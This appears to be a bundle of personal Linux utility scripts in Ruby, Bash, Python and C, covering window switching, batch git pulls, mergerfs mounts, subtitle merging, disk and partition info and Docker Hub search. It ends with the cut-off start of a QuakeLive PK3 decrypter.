|w| [w.desktop_id, w.title] } .map { |w| [w.desktop_id, "#{w.addr} | #{w.title} ::: (#{w.process && w.process.command})"]} # remove non-window windows wins.reject! { |desk, w| desk == -1 } # create a blob of text for dmenu data = wins.map { |desk, w| "#{desk} | #{w}" }.join("\n") # pick a window picked, status = Open3.capture2("dmenu -i -l 50 -b -p Name:", :stdin_data=>data) if status == 0 # did the user pick something? # switch to it addr = picked.split(" | ")[1] system("wmctrl", "-i", "-a", addr) end <file_sep>#!/usr/bin/env ruby require 'epitools' ############################################################################ POOL_SIZE=12 ############################################################################ def run(cmd) IO.popen(cmd, err: [:child, :out]) { |io| io.read } end # # TODO: Move this to epitools # module Enumerable def parallel_map(num_workers=8, &block) require 'thread' queue = Queue.new each { |e| queue.push e } Enumerator.new do |y| workers = (0...num_workers).map do Thread.new do begin while e = queue.pop(true) y << block.call(e) end rescue ThreadError end end end workers.map(&:join) end end end ############################################################################ if ARGV.any? repos = ARGV.map(&:to_Path) else repos = Path["*/.git"].map(&:parent) end puts "<8>* <11>Updating <15>#{repos.size} <11>repos <8>(<9>using <15>#{POOL_SIZE} <9>parallel workers<8>)".colorize ############################################################################ # Update all the repos and gather the results parallel_enum = repos.parallel_map(POOL_SIZE) do |repo| begin if not repo.exists? [:error, repo, "Error: path does not exist"] elsif repo.file? [:error, repo, "Error: repo must be a directory"] else Path.cd(repo) do if Path[".git"].dir? # Regular repo output = run "git pull" status = output["Already up-to-date."] ? :no_change : :error # FIXME: switch "updated = true" to "status = :descriptive_symbol", and update the function that depends on this one elsif Path["HEAD"].exists? # Bare repo output = run "git fetch" # status = output.blank? ? : updated = true elsif (pull_script = Path["pull"]).exists? and pull_script.executable? # ./pull script output = run "./pull" updated = !output.blank? end # output[/^(fatal: .+)$/] || output[/^(error: Your local changes.+)$/] || output[/no such ref was fetched./] [updated ? :updated : :not_a_repo, repo, output] end end rescue => e [:error, repo, e.to_s] end end STATUS_COLORS = { error: [:light_red], updated: [:light_green, :light_cyan], merge_problem: [:light_purple], not_a_repo: [:light_blue], } grouped_results = Hash.of_arrays # Print the dots parallel_enum.each do |status, repo, output| case status when :error print ".".light_red when :updated puts puts "<3>========== <11>#{repo} <3>===============".colorize puts puts output puts else print ".".grey end grouped_results[status] << [repo, output] end ############################################################################ # Summarize the results grouped_results.each do |status, results| title_color, repo_color = STATUS_COLORS[status] title_color ||= :white repo_color ||= :light_white title = status.to_s.gsub("_", " ").titlecase puts puts puts "----------------------------------------------------------------".grey puts " #{title}:".send(title_color) puts "----------------------------------------------------------------".grey results.each do |repo, output| puts repo.to_s.send(repo_color) puts output.indent(4) if status != :updated end end # puts # puts # puts "----------------------------------------------------------------".grey # puts " Errors:".light_red # puts "----------------------------------------------------------------".grey # errors.each do |repo, error| # puts "#{repo}".light_red # puts error.indent(4) # end # puts # puts "----------------------------------------------------------------".grey # puts " Updated:".light_green # puts "----------------------------------------------------------------".grey # updated_repos.each { |repo| puts "#{repo}".light_cyan } # puts <file_sep>#!/usr/bin/env ruby shares = { "media/movies" => ["movies-*"], "media/tv" => ["tv-*"], "media/music" => ["mp3-*"], "media/ebooks" => ["ebooks-*"], "media/iso" => ["iso-*"], "media/documentaries" => ["documentaries-*"], "media/audiobooks" => ["audiobooks-?"], "media/musicvideos" => ["musicvideos-?"], "media/podcasts" => ["podcasts"], "media/talks" => ["talks-*"], "media/talks-old" => ["talks-old"], "media/research" => ["research"], "media/.archive" => ["/d/archive"], } root = ENV["HOME"] opts, args = ARGV.partition { |arg| arg[/^--?\w/] } if opts.include?("-h") or opts.include?("--help") puts <<~HELP usage: unions => mount unions unions -u => unmount unions unions -r => remount unions HELP puts puts "mountpoints:" shares.each {|k,v| puts " #{k} => #{v}" } exit end def free_space(dir) IO.popen(["df", "-h", dir], "r") do |io| dev, size, used, avail, percent, mountpoint = io.each_line.drop(1).first.split # => ["/dev/sdf2", "1.6T", "1.6T", "254M", "100%", "/w"] "#{avail} (#{mountpoint})" end end # Expand globs shares = shares.map do |dest, srcs| ["#{root}/#{dest}", srcs.map do |src| Dir[ src[ %r{^/} ] ? src : "#{root}/#{src}" ].sort end.flatten] end unmount = proc do puts "Unmounting..." shares.each do |target, srcs| puts "* #{target}..." system("fusermount", "-u", target) end end # unmount if opts.delete("-u") unmount.call exit end # remount if opts.delete("-r") unmount.call end mountopts = %w[-o func.create=epff,minfreespace=2G,allow_other,uid=1000,gid=992,umask=0002,xattr=passthrough] # umask=0002 longest = shares.map(&:last).flatten.map(&:size).max if args.any? arg_dirs = args.map { |dir| File.realdirpath(dir) } shares = shares.select { |dir, _| arg_dirs.include? File.realdirpath(dir) } end shares.each do |dest, srcs| puts "* #{dest}" srcs.each { |src| puts " |_ #{src}" } srcs_joined = srcs.join(":") cmd = ["mergerfs", *mountopts, srcs_joined, dest] p cmd if opts.include? "-v" if opts.include? "-s" or opts.include? "-f" srcs.each do |src| puts "#{src.ljust(longest+2)} => #{free_space(src)}" end elsif opts.include? "-u" exit 1 unless system("unmount", dest_joined) elsif opts.include? "-p" puts cmd.join(" ") puts else unless system(*cmd) puts "#{dest} failed!" end end end <file_sep>#!/bin/bash BM_FILE=~/docs/bookmarks.txt if [ "$1" == "" ]; then LINE="$(cb)" elif [ "$1" == "-e" ]; then nano -S +$(wc -l $BM_FILE | cut -f 1 -d \ ) $BM_FILE else if [[ "$1" =~ ^/([^/]+)/$ ]]; then query="${BASH_REMATCH[1]}" grep --color -i "$query" "$BM_FILE" exit else LINE="$@" fi fi echo "$LINE" | gsub -f "\n(?!\z)" -t "\\n" | tee -a "$BM_FILE" <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: torrent-check <file.torrent>" exit 1 fi aria2c --check-integrity --hash-check-only "$@" <file_sep>#!/usr/bin/env ruby require 'json' require 'epitools' STARLOG = open(File.expand_path("~/elf-stars.json")) STARLOG.each_line do |line| json = JSON.parse(line) time = Time.at(json["date"]).strftime("<9>%Y-%m-%d <8>@ <11>%H:%M") name = json["name"] filename = json["filename"] if filename =~ %r{^https?://} uri = URI.parse(filename) if name =~ /^(.+) - #{uri.host} - (.+)/ station = $1 name = $2 end else station = filename end puts "#{time} <8>| <10>#{name}".colorize puts " <8>| <2>#{station}".colorize if station end <file_sep>#!/usr/bin/env ruby ############################################################################ ## + shorter window ## + hide spammy pages (popularity, language) ## + some way of cleaning up the dump ## |_ filter out (or mark and lower priority of) redirects ## |_ how the hell do you tell what language a page is?? is it in the page body???? ## |_ namespaces (Talk:, Category:, etc) ############################################################################ require 'pp' require 'digest/sha1' ############################################################################ IMPORTANT_ARTICLES = %{ Main page Arch Linux }.each_line.map(&:strip) def index; open("index", "rb"); end #query="$@" #choice="$(rg --color=always -i "$query" index | fzf --with-nth=1 -d "\t")" # | cut -f 2)" #ruby view.rb "$choice" def fzf_picker offset, title = nil, nil IO.popen(["fzf", "--history=#{ENV["HOME"]}/.cache/archwiki.history", "--height=90%", "--with-nth=1", "-d", "\t"], "w+") do |io| index.each_line { |l| io.puts l } io.close_write title, offset = io.read.chomp.split("\t") end [title, offset.to_i] end def oxml; open("wikiarchlinuxorg-20200916-current.xml","rb"); end def sread(n,a=100); oxml.tap { |o| o.seek(n) }.read(a); end def lread(pos, n=2); oxml.tap { |o| o.seek(pos) }.each_line.take(n); end def offsets return to_enum(:offsets) unless block_given? offset = 0 oxml.each_cons(3) do |l, l2, l3| if l[/^\s+<page>/] title = [l,l2,l3].map { |l| l.scan(/<title>(.+)<\/title>/i )}.reject(&:empty?).compact.first # p title title = title.flatten.first.force_encoding("utf-8") yield [offset,title] end offset += l.size end end ################################################################################ title, offset = fzf_picker tmpdir = "/tmp/archwiki" Dir.mkdir(tmpdir) unless File.exists?(tmpdir) tmpfile = "#{tmpdir}/#{Digest::SHA1.hexdigest title}.wiki" ## write to /tmp/archwiki/#{title}.wiki unless File.exist?(tmpfile) open(tmpfile, "wb") do |o| f = oxml f.seek(offset) state = :headers f.each_line do |l| l = l.force_encoding("utf-8") #p debug: l case state when :headers next if l["<page>"] o.puts l.gsub("<", "\\<").gsub(">", "\\>") state = :body if l =~ /<text ?[^>]*>/ when :body o.puts l break if l =~ %r{</text>} end end end end # check if the file already exists ################################################################################ ## page /tmp/archwiki/#{title}.wiki c = File.expand_path("~/scripts/c") ARGV[0..-1] = [tmpfile] $0 = c load(c) <file_sep>#!/usr/bin/env python ############################################################################ import sys import isoparser import datetime ############################################################################ def format_date(node): return datetime.datetime.fromisoformat(node.datetime).strftime("%Y-%m-%d %I:%M:%S%p") ############################################################################ def print_isotree(node, parent=""): current_dir = parent + node.name.decode() + "/" for child in node.children: path = current_dir + child.name.decode() if child.is_directory: path += "/" size = "<DIR>" else: size = child.length date = format_date(node) print("%s %10s %s" % (date, size, path)) if child.is_directory: print_isotree(child, parent=current_dir) ############################################################################ args = sys.argv[1:] if (len(args) != 1) or ("--help" in args): print("usage: lsiso <iso file>") sys.exit(1) arg = args[0] iso = isoparser.parse(arg) print_isotree(iso.root) <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools/path' gem 'slop', "~> 3.6" require 'slop' ######################################################## # # TODOs: # - leave the README # ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: git-rm-history [options]" # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end args = ARGV ######################################################## class Path def du IO.popen(["du", "-k", "-d", "0", path], &:read) end end args.each do |arg| path = Path[arg] gitdir = path/".git" gitconfig = gitdir/"config" raise "#{path} doesn't exist" unless path.dir? raise "#{path} has no .git dir (not a git repo)" unless gitdir.dir? raise "#{gitdir} has no config file (weird)" unless gitconfig.exists? before = path.du config = gitconfig.read # path.rm_R FileUtils.rm_rf(path) # path.mv("#{path.path.chomp("/")}-tmp") path.mkdir gitdir.mkdir gitconfig.write(config) path.cd do unless system("git", "init") raise "'git init' failed for some reason (?)" end end after = path.du puts "Before: #{before}" puts " After: #{after}" end<file_sep>#!/bin/bash ## settings ################### pre_accel_time=60 ms_between_movements=10 movements_before_acceleration_peaks=30 final_pixels_per_movement=30 # values range from approximately -600 to 600 acceleration_curve=100 runcmd() { echo "$@" "$@" } runcmd setxkbmap -option keypad:pointerkeys runcmd xkbset mousekeysaccel $pre_accel_time $ms_between_movements $movements_before_acceleration_peaks $final_pixels_per_movement $acceleration_curve runcmd xkbset exp mousekeys runcmd xkbset mousekeys echo echo "Enabled! Press 'LeftShift+NumLock' to toggle it" if [ -f ~/.xmodmap ]; then echo "(reloading ~/.xmodmap for good measure)" xmodmap ~/.xmodmap fi <file_sep>#!/usr/bin/env ruby require 'epitools' unless ARGV.any? puts "usage: parseuri <url> [<url>...]" exit 1 end ARGV.each do |arg| u = URI.parse(arg) pp( scheme: u.scheme, host: u.host, path: u.path, port: u.port, params: u.query.to_params ) end <file_sep>#!/usr/bin/env ruby # "mkvmerge" -o "/home/epi/yew/e/tv/Breaking Bad/Breaking Bad - 3x02 - Caballo Sin Nombre (1).mkv" "--default-track" "0:yes" "--forced-track" "0:no" "--display-dimensions" "0:1280x720" "--default-track" "1:yes" "--forced-track" "1:no" "-a" "1" "-d" "0" "-S" "-T" "--no-global-tags" "--no-chapters" "(" "/home/epi/yew/e/tv/Breaking Bad/Breaking Bad - 3x02 - Caballo Sin Nombre.mkv" ")" "--language" "0:eng" "--forced-track" "0:no" "-s" "0" "-D" "-A" "-T" "--no-global-tags" "--no-chapters" "(" "/home/epi/yew/e/tv/Breaking Bad/Breaking Bad - 3x02 - Caballo Sin Nombre.srt" ")" "--track-order" "0:0,0:1,1:0" # input: movie.mp4, movie.srt, movie # output: movie.mkv # ask user to delete original files # batch mode (move old files to backup dir) require 'epitools' ##################################################################################### def parse_options gem "slop", "~> 3.6" require 'slop' @opts = Slop.parse(help: true, strict: true) do banner "\nUsage:\n srtmerge [options] <sub file/video file...>\n\n(Note: .srt and video file (.mkv or .mp4) must both exist.)\n\nOptions:" on 'd=', 'dest', 'Destination directory' on 's=', 'srt', 'SRT file' # on 'o=', 'outfile', 'Output file (for MP3 and WAV commands)' on 'v', 'verbose', 'Show all mplayer output spam' end end ##################################################################################### VID_EXTS = ["mkv", "mp4"] def merge(f, destdir=nil, srt=nil) f = Path[f] if destdir destdir = Path[destdir] raise "Error: destination dir #{destdir} doesn't exist" unless destdir.exists? raise "Error: destination dir #{destdir} isn't a dir" unless destdir.dir? end if f.ext == "srt" srt = f vids = VID_EXTS.map { |ext| vid = srt.with(ext: ext); vid if vid.exists? }.compact raise "Couldn't find a video file for #{srt}" if vids.empty? raise "Too many videos: #{vids.inspect}" if vids.size > 1 vid = vids.first elsif f.ext.in? VID_EXTS vid = f srt = srt ? Path[srt] : vid.with(ext: "srt") raise "Couldn't find .srt file for #{vid}" unless srt.exists? end outfile = vid.with(ext: "mkv") outfile = outfile.with(dir: destdir) if destdir if outfile.exists? backup = outfile.numbered_backup_file puts "WARNING: outfile exists: #{outfile}" puts " renaming to: #{backup}" outfile.mv backup # TODO: this should change destdir. vid = backup # source video is now the backed up file end cmd = ["mkvmerge", "-o", outfile, vid, "--language", "0:eng", srt] puts puts " Input video: #{vid}" puts " Input subtitles: #{srt}" puts "----------------+----------------------------------------------------" puts " Output video: #{outfile}" puts " Command: #{cmd.join(" ")}" puts if system *cmd # Copy modification time puts puts "* Updating timestamp of output file to: #{vid.mtime}" outfile.mtime = vid.mtime puts "* Done!" else puts "There was some kind of error. SHRUG!!!!!!" end end ##################################################################################### if $0 == __FILE__ opts = parse_options files = ARGV unless files.any? puts "Error: Must supply at least one video file." puts opts exit 1 end for arg in ARGV # begin merge(arg, opts[:dest], opts[:srt]) # rescue => e # p e # end end end <file_sep>#!/bin/bash if [[ "$1" == "-v" ]]; then shift git log elif [[ "$1" == "-d" ]]; then # real date shift git log --graph --date=format:'%Y-%m-%d %H:%M:%S' --format='%ad %C(blue bold)%h %C(cyan bold)%aN%Cblue%d %Creset%s' "$@" else # short date git log --graph --format='%C(blue bold)%h %C(cyan bold)%aN%Cblue%d %Creset%s %C(black bold)(%cr)%Creset' "$@" fi <file_sep>#!/usr/bin/env ruby unless (2..3).include? ARGV.size puts "usage: readrange <filename> [<start>|<start..end>|<start> <end>]" exit 1 end filename, range_string, finish = ARGV fail "File does not exist: #{filename}" unless File.exists? filename finish = finish.to_i if finish case range_string when /^(\d*)(\.\.\.?|-)(-?\d*)$/ fail "Can't specify a range string AND a 3rd parameter!" if finish start = $1.empty? ? 0 : $1.to_i finish = $3.empty? ? -1 : $3.to_i when /^(\d+)$/ start = $1.to_i else fail "Range string doesn't look right: #{range_string}" end finish = -1 unless finish open(filename, "rb") do |f| STDERR.print "* Copying from #{start} to #{finish}" finish = f.size + finish + 1 if finish < 0 fail "Finish past end of file" if finish > f.size copy_length = finish - start STDERR.puts " (#{copy_length} bytes)" IO.copy_stream(f, STDOUT, copy_length, start) end <file_sep>#!/bin/bash [ "$UID" = "0" ] || exec sudo $0 $@ function print_sys_stuff() { echo "== $1 =====" pushd $1 > /dev/null grep . * 2> /dev/null popd > /dev/null echo } function zdebug_info() { print_sys_stuff /sys/kernel/debug/zswap echo -n "Swap used: " free -h | grep -E '^Swap' | awk '{print $3 "/" $2}' echo } function zslab_info() { print_sys_stuff /sys/kernel/slab/zswap_entry } pr -m -t -w `tput cols` <(zdebug_info) <(zslab_info) <file_sep>#!/bin/bash echo "* Rendering smb.conf.erb => smb.conf..." # backup the old one if [ -f smb.conf ]; then mv smb.conf smb.conf-old; fi erb smb.conf.erb > smb.conf echo "* Testing smb.conf..." if testparm -s smb.conf > /dev/null; then echo "* Config file passed." echo "* Restarting samba..." i smbd i nmbd else echo "* Config file FAILED! Quitting..." fi <file_sep>#!/bin/bash if [ "$1" == "" ]; then path="." else path="$1" fi chmod -R u=rwX,go=rX "$path"<file_sep>#!/bin/bash # https://stackoverflow.com/questions/23850499/how-to-move-or-resize-x11-windows-even-if-they-are-maximized # # move a window even if it's maximized # wmctrl -i -r $WID -b remove,maximized_vert,maximized_horz # xdotool windowunmap --sync $WID # xdotool windowmap --sync $WID # wmctrl -i -r $WID -e 0,$x,$y,$width,$height # -r <WIN> -b <STARG> # Change the state of the window. Using this option it's # possible for example to make the window maximized, # minimized or fullscreen. The format of the <STARG> # argument and list of possible states is given below. # <STARG> # Specifies a change to the state of the window # by the means of _NET_WM_STATE request. # This option allows two properties to be changed # simultaneously, specifically to allow both # horizontal and vertical maximization to be # altered together. # The format of the argument is: # (remove|add|toggle),<PROP1>[,<PROP2>] # The EWMH specification defines the # following properties: # modal, sticky, maximized_vert, maximized_horz, # shaded, skip_taskbar, skip_pager, hidden, # fullscreen, above, below if [ "$1" == "" ]; then echo "usage: move-window-to <x> <y>" exit 1 fi xdotool getactivewindow windowmove $1 $2<file_sep>#!/usr/bin/env ruby require 'epitools' # require 'awesome_print' def root_exec(command) if Process.uid == 0 `#{command}` else `sudo #{command}` end end #unless # system("sudo", __FILE__, *ARGV) # exit #end # Naming scheme: # drivename = sda # partname = sda1 # dev = /dev/sda1 ############################################################################# # Drive class Drive < TypedStruct["drivename model family serial firmware size healthy sata sector_size:int"] @@cache = {} def self.parse_info(data) opts = {} data.nice_lines.split_before(/^=== START OF .+ SECTION ===$/).each do |section| case section.first when /SMART DATA SECTION/ if section[1] =~ /result: (.+)/ opts[:healthy] = ($1 == "PASSED") end when /INFORMATION SECTION/ fields = Hash[ section[1..-1].map { |line| line.split(/:\s+/) } ] if fields["User Capacity"] =~ /([\d,]+) bytes/ size = $1.gsub(",", '').to_i else size = nil #fields["User Capacity"] end opts.update( family: fields["Model Family"], model: fields["Device Model"], serial: fields["Serial Number"], firmware: fields["Firmware Version"], size: size, sata: fields["SATA Version is"], sector_size: fields["Sector Size"] ) end end opts end def self.from_drivename(drivename) # [01:46 AM] epi@yew :: /sys/block/sda $ sudo smartctl -i -H /dev/sda # smartctl 6.0 2012-10-10 r3643 [x86_64-linux-3.6.6-1-ARCH] (local build) # Copyright (C) 2002-12, <NAME>, <NAME>, www.smartmontools.org # === START OF INFORMATION SECTION === # Model Family: Western Digital Caviar Black # Device Model: WDC WD1002FAEX-00Z3A0 # Serial Number: WD-WCATR4453272 # LU WWN Device Id: 5 0014ee 205366c27 # Firmware Version: 05.01D05 # User Capacity: 1,000,204,886,016 bytes [1.00 TB] # Sector Size: 512 bytes logical/physical # Device is: In smartctl database [for details use: -P show] # ATA Version is: ATA8-ACS (minor revision not indicated) # SATA Version is: SATA 2.6, 6.0 Gb/s # Local Time is: Sat Nov 10 01:46:44 2012 EST # SMART support is: Available - device has SMART capability. # SMART support is: Enabled # === START OF READ SMART DATA SECTION === # SMART overall-health self-assessment test result: PASSED @@cache[drivename] ||= begin opts = {drivename: drivename} if not removable?(drivename) # data = (@@smartctl_cache[drivename] ||= `smartctl -i -H /dev/#{drivename}`) data = root_exec "smartctl -i -H /dev/#{drivename}" raise "Permission denied" if data[/Permission denied/] opts.update parse_info(data) end opts[:sector_size] ||= 512 opts[:size] = sectors(drivename) * opts[:sector_size] unless opts[:size] Drive.new opts end end def self.removable?(drivename) File.read("/sys/block/#{drivename}/removable").to_i == 1 end def self.sectors(drivename, part=nil) if part.nil? path = "/sys/block/#{drivename}/size" else path = "/sys/block/#{drivename}/#{drivename}#{part}/size" end if File.exists? path File.read(path).to_i else 0 end end def removable? Drive.removable?(drivename) end def dev "/dev/#{drivename}" end def color return 11 if removable? case drivename when /^(sd|hd)/ 14 when /^loop/ 9 else 7 end end end ############################################################################# # Partition class Partition < TypedStruct["label uuid type dev drivename part:int size:int drive"] def self.all root_exec("blkid").nice_lines. map { |line| Partition.from_line line }. sort_by { |part| priority = case part.drivename when /^(sd|hd)/ 0 when /^loop/ 1 else 255 end [priority, part.drivename, part.part] } end def self.from_line(line) # /dev/sdb3: LABEL="Euler" UUID="4C6447B672AB78A3" TYPE="ntfs" if line =~ %r{^/dev/(\w+)(\d+): (.+)$} drivename = $1 part = $2.to_i params = Hash[ $3.scan(/(\w+)="([^"]+)"/) ] if part == 0 drivename = "#{drivename}#{part}" part = nil end Partition.new( drivename: drivename, part: part, label: params["LABEL"], uuid: params["UUID"], type: params["TYPE"], ) end end def partname "#{drivename}#{part}" end def sectors @sectors ||= Drive.sectors(drivename, part) end def size @size ||= sectors * drive.sector_size end def dev "/dev/#{partname}" end # def drivename=(drivename) # self[:drivename] = drivename # self[:drive] = Drive.from_drivename drivename # end def removable? @removable ||= Drive.removable?(drivename) end def drive @drive ||= Drive.from_drivename drivename end end #--------------------------------------------------------------------------- if $0 == __FILE__ # Drive => drivename model family serial firmware size healthy:bool sata # Partition => label uuid type dev drivename part:int size:int drive Partition.all.group_by(&:drivename).each do |drivename, partitions| drive = Drive.from_drivename(drivename) if drive.family extra = " <7>=> <11>#{drive.family} <3>(<9>#{drive.model}<3>)" end puts "<8>== <#{drive.color}>#{drive.dev} <7>(<11>#{drive.size.human_bytes}<7>)#{extra} <8>==".colorize puts " <4>**** <12>SMART error! <4>****" if drive.healthy == false puts rows = [] partitions.each do |part| #rows << ["##{part.part}:", part.type, (part.label || "").inspect, "(#{part.size.human_size})", "UUID: #{part.uuid}"] puts "##{part.part}: #{part.type} #{(part.label || "").inspect} (#{part.size.human_size}) UUID: #{part.uuid}" end #puts Term::Table.new(rows).by_rows puts end end <file_sep>#!/bin/bash trueprint -x "" -y "" -I -J -T 2 -u -G 1 -i --n -C -r $* <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: moin2md [options] <file(s)...>" on "c", "stdout", "Write to STDOUT" end ######################################################## def convert(doc) convert_tables = proc do |s| chunks = s.each_line.chunk { |line| line.match? /^\s*\|\|.*\|\|\s*$/ } flattened = chunks.map do |is_table, lines| if is_table lines.map.with_index do |line,i| cols = line.scan(/(?<=\|\|)([^\|]+)(?=\|\|)/).flatten newline = cols.join(" | ") newline << " |" if cols.size == 1 newline << "\n" if i == 0 sep = cols.map { |col| "-" * col.size }.join("-|-") + "\n" if cols.all? { |col| col.match? /__.+__/ } # table has headers! [newline, sep] else empty_header = (["..."]*cols.size).join(" | ") + "\n" [empty_header, sep, newline] end else newline end end else lines end end.flatten flattened.join end markdown = doc. gsub(/^(={1,5}) (.+) =+$/) { |m| ("#" * $1.size ) + " " + $2 }. # headers gsub(/'''/, "__"). # bolds gsub(/''/, "_"). # italics gsub(/\{\{(?:attachment:)?(.+)\}\}/, "![](\\1)"). # images gsub(/\[\[(.+)\|(.+)\]\]/, "[\\2](\\1)"). # links w/ desc gsub(/\[\[(.+)\]\]/, "[\\1](\\1)"). # links w/o desc gsub(/^#acl .+$/, ''). # remove ACLs gsub(/^<<TableOfContents.+$/, ''). # remove TOCs gsub(/^## page was renamed from .+$/, ''). # remove 'page was renamed' gsub(/^\{\{\{\n^#!raw\n(.+)\}\}\}$/m, "\\1"). # remove {{{#!raw}}}s # TODO: convert {{{\n#!highlight lang}}}s (2-phase: match {{{ }}}'s, then match first line inside) gsub(/\{\{\{\n?#!(?:highlight )?(\w+)\n(.+)\n\}\}\}$/m, "```\\1\n\\2\n```"). # convert {{{#!highlight lang }}} to ```lang ``` gsub(/\{\{\{\n(.+)\n\}\}\}$/m, "```\n\\1\n```") # convert {{{ }}} to ``` ``` markdown = convert_tables[markdown] end ######################################################## args = ARGV args.each do |arg| moinfile = Path[arg] md = convert(moinfile.read) if opts.stdout? puts md else mdfile = moinfile.with(ext: "md") print "* Writing: #{mdfile.to_s.inspect}..." mdfile.backup! if mdfile.exists? mdfile.write md puts "done!" end end <file_sep>#!/usr/bin/env ruby if ARGV.empty? puts "usage: git-meld <other branch>" exit 1 end pwd = Dir.pwd Process.daemon Dir.chdir pwd exec "git", "difftool", "--dir-diff", ARGV.first <file_sep>#!/bin/bash if [ "$1" == "" ] then echo "usage: service-disable <servicename>" else sudo update-rc.d -f $1 remove fi <file_sep>#!/usr/bin/env ruby ################################################################### require 'json' require 'epitools/colored' ################################################################### SEARCH_URL = 'https://hub.docker.com/v2/search/repositories/?page=1&query=%s' ################################################################### class String def tighten; gsub(/[\t ]+/,' ').strip; end def any?; not empty?; end def indent(prefix=" ") each_line.map { |line| prefix + line }.join('') end end class Numeric def commatize(char=",") int, frac = to_s.split(".") int = int.gsub /(\d)(?=\d{3}+(?:\.|$))(\d{3}\..*)?/, "\\1#{char}\\2" frac ? "#{int}.#{frac}" : int end end ################################################################### # Handle ARGV query = ARGV.join("+") if query.empty? puts "Usage: #{__FILE__} <search query>" exit 1 end # curl the results puts "<8>* <7>Searching <15>hub.docker.com</15> for <14>#{query.inspect}<7>...".colorize begin data = IO.popen(["curl", "-Ss", SEARCH_URL % query], &:read) rescue Errno::ENOENT puts "Error: 'curl' isn't installed. You need this!" exit 1 end json = JSON.parse(data) puts " <8>|_ <15>#{json["count"]} <7>results found...".colorize puts json["results"].sort_by { |result| result["pull_count"] }.each do |item| repo = item["repo_name"] owner, name = repo.split("/") url = "https://hub.docker.com/r/#{repo}/" desc = item["short_description"] stars = item["star_count"] pulls = item["pull_count"] automated = item["is_automated"] official = item["is_official"] puts "<8>=== <11>#{name} <7>(<9>#{owner}<8>, <10>#{pulls.commatize} <2>pulls<8>, <13>#{stars.commatize}<5> stars<7>) <8>==============".colorize puts " <15>#{desc}".colorize unless desc.empty? puts " <3>#{url}".colorize puts end <file_sep>#!/usr/bin/env ruby require 'epitools' class String def url? !!(strip =~ %r{^https?://.+}) end end def help! puts "usage: despam-link [<url>]" puts puts "(if you don't supply <url> as an argument, it'll look in the clipboard)" puts end def popen_with_stderr(*cmd) cmd = cmd.flatten IO.popen(cmd, :err=>[:child, :out], &:read) end def get_clipboard result = popen_with_stderr("cb") # unless $?.success? # result = popen_with_stderr("xclip", "-o", "-selection", "clipboard") # end result end def despam(link) uri = URI.parse(link) urls = [] return urls unless uri.host # sometimes everything in the url is nil. yay. (eg: "terribleurl:oof") if uri.host[/youtu(be)?/] and uri.path["attribution_link"] and uri.params["u"] urls << "https://youtube.com#{uri.params["u"]}" else uri.params.values.each do |val| if val.url? urls << val elsif (decoded = val.from_base64).url? urls << decoded end end end # for gemini:// links rawquery = uri.instance_variable_get(:@query) query = CGI.unescape(rawquery) urls << query if query.url? urls end def show_links_for(url) links = despam(url) if links.any? links.each { |link| puts link } end rescue URI::InvalidURIError $stderr.puts "Error: couldn't parse #{url}" end if $0 == __FILE__ args = ARGV if args.include?("-h") or args.include?("--help") help! exit end if args.any? args.each do |arg| show_links_for arg end else url = get_clipboard show_links_for(url) end end <file_sep>/* Copyright 2008 <NAME> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA http://www.gnu.org/licenses/gpl-2.0.txt */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <ctype.h> typedef uint8_t u8; typedef uint16_t u16; typedef uint32_t u32; #define VER "0.1" void quakelive_decrypt(FILE *fd, FILE *fdo); int check_overwrite(u8 *fname); void std_err(void); int main(int argc, char *argv[]) { FILE *fd, *fdo; u8 *fin, *fout; fputs("QuakeLive PK3 decrypter "VER"\n" "by <NAME>\n" "e-mail: <EMAIL>\n" "web: aluigi.org\n" "\n", stdout); if(argc < 3) { printf("\n" "Usage:\n" " %s <infile> <outfile>\n" "\n" "Example:\n" " %s encrypted/quakelive-map.pk3 decrypted/some-map.pk3\n" "\n", argv[0], argv[0]); exit(1); } fin = argv[1]; fout = argv[2]; printf("- open %s\n", fin); fd = fopen(fin, "rb"); if(!fd) std_err(); printf("- create %s\n", fout); if(check_overwrite(fout) < 0) exit(1); fdo = fopen(fout, "wb"); if(!fdo) std_err(); quakelive_decrypt(fd, fdo); fclose(fd); fclose(fdo); printf("- done\n"); return(0); } void quakelive_decrypt(FILE *fd, FILE *fdo) { static const u8 quakelive_xor[] = "\xcf\x8e\x8e\x4c\xd0\xd9\x30\xce\x07\x32\x27\x64\xed\x16\x06\x12" "\x20\x99\x55\x21\x7b\x10\xef\x57\x8b\xbf\x2e\x09\xee\x6b\xaa\x7c" "\xcc\x3c\x95\xee\xba\xd7\x4b\x88\x84\x88\xd2\x70\x4c\x09\x30\xf2" "\xaf\xb0\x99\x0d\x1f\x5f\xa7\xc5\xaf\x61\xc1\x18\xed\x16\xb0\x32" "\xf5\x07\x2f\x72\xb1\x23\x66\x1f\xf5\x18\xef\xb3\x9d\xf0\x4a\x02" "\x8f\x37\xff\xb0\xd7\xaf\xd3\x09\xb4\x4a\x2c\x63\xa3\x24\x1e\x52" "\xdf\x12\x9c\x8e\xff\x31\x2f\x0e\x48\xfa\x25\xc5\x43\xe4\x71\x69" "\xf4\x84\x91\x84\x0c\xc2\x3f\x7d\xb0\xe1\xe6\x03\x36\xbb\xed\x22" "\x89\xe9\x81\x6c\x4e\xfb\x41\x84\xba\xf1\x5b\x1e\xbf\x30\xbf\x77" "\x0e\x47\x1c\x84\xe9\xa0\x9e\x5b\x35\xa7\xee\x3c\x40\x0d\xb9\x70" "\x2a\x11\xf8\xc9\x41\x33\x89\x9c\x51\xf2\x40\xf0\xe5\xe8\xd7\x1e" "\x77\xde\x19\x46\x00\x57\xf0\x02\x5c\x1d\x64\xb9\x40\xc8\x1a\x99" "\x5f\xa7\x4d\x5a\x72\x3e\x80\xc3\xa1\x1a\x6e\x1e\xd0\x79\x06\x6b" 